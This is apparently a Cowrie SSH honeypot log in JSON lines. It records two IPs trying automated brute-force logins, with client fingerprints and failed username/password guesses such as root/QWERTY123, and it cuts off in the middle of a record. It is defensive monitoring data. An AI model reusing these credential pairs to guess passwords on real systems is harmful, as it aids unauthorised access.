{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:04.145837Z","src_ip":"192.109.200.78","session":"6b8b99903a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:04.457339Z","src_ip":"192.109.200.78","session":"6b8b99903a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35032,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0fef194e63a","protocol":"ssh","message":"New connection: 176.65.139.95:35032 (159.203.135.109:22) [session: e0fef194e63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:05.066019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:05.070623Z","src_ip":"176.65.139.95","session":"e0fef194e63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:05.152668Z","src_ip":"176.65.139.95","session":"e0fef194e63a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:05.413815Z","src_ip":"176.65.139.95","session":"e0fef194e63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:05.540999Z","src_ip":"192.109.200.78","session":"6b8b99903a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:06.510665Z","src_ip":"176.65.139.95","session":"e0fef194e63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38654,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d74538bd85e","protocol":"ssh","message":"New connection: 192.109.200.78:38654 (159.203.135.109:22) [session: 7d74538bd85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:08.201725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:08.211522Z","src_ip":"192.109.200.78","session":"7d74538bd85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:08.298108Z","src_ip":"192.109.200.78","session":"7d74538bd85e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:08.545511Z","src_ip":"192.109.200.78","session":"7d74538bd85e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:09.631580Z","src_ip":"192.109.200.78","session":"7d74538bd85e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38130,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc0a067af51","protocol":"ssh","message":"New connection: 176.65.139.95:38130 (159.203.135.109:22) [session: dfc0a067af51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:11.579652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:11.585524Z","src_ip":"176.65.139.95","session":"dfc0a067af51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:11.667420Z","src_ip":"176.65.139.95","session":"dfc0a067af51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:11.929641Z","src_ip":"176.65.139.95","session":"dfc0a067af51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38664,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf2ad32a6990","protocol":"ssh","message":"New connection: 192.109.200.78:38664 (159.203.135.109:22) [session: bf2ad32a6990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:12.428756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:12.433467Z","src_ip":"192.109.200.78","session":"bf2ad32a6990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:12.518382Z","src_ip":"192.109.200.78","session":"bf2ad32a6990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:12.773221Z","src_ip":"192.109.200.78","session":"bf2ad32a6990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:13.029343Z","src_ip":"176.65.139.95","session":"dfc0a067af51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:13.857534Z","src_ip":"192.109.200.78","session":"bf2ad32a6990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38690,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc3fbbbd52a0","protocol":"ssh","message":"New connection: 192.109.200.78:38690 (159.203.135.109:22) [session: bc3fbbbd52a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:16.534550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:16.539712Z","src_ip":"192.109.200.78","session":"bc3fbbbd52a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:16.910874Z","src_ip":"192.109.200.78","session":"bc3fbbbd52a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:17.470386Z","src_ip":"192.109.200.78","session":"bc3fbbbd52a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38144,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc068b5137ed","protocol":"ssh","message":"New connection: 176.65.139.95:38144 (159.203.135.109:22) [session: fc068b5137ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:18.117420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:18.122521Z","src_ip":"176.65.139.95","session":"fc068b5137ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:18.357733Z","src_ip":"176.65.139.95","session":"fc068b5137ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:18.553927Z","src_ip":"192.109.200.78","session":"bc3fbbbd52a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:18.935782Z","src_ip":"176.65.139.95","session":"fc068b5137ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:20.056681Z","src_ip":"176.65.139.95","session":"fc068b5137ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39426,"dst_ip":"159.203.135.109","dst_port":22,"session":"db049051dd27","protocol":"ssh","message":"New connection: 192.109.200.78:39426 (159.203.135.109:22) [session: db049051dd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:20.802039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:20.807147Z","src_ip":"192.109.200.78","session":"db049051dd27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:20.895516Z","src_ip":"192.109.200.78","session":"db049051dd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:21.141872Z","src_ip":"192.109.200.78","session":"db049051dd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:22.230693Z","src_ip":"192.109.200.78","session":"db049051dd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39430,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb2f2d1973ca","protocol":"ssh","message":"New connection: 192.109.200.78:39430 (159.203.135.109:22) [session: bb2f2d1973ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:24.749333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:24.756609Z","src_ip":"192.109.200.78","session":"bb2f2d1973ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 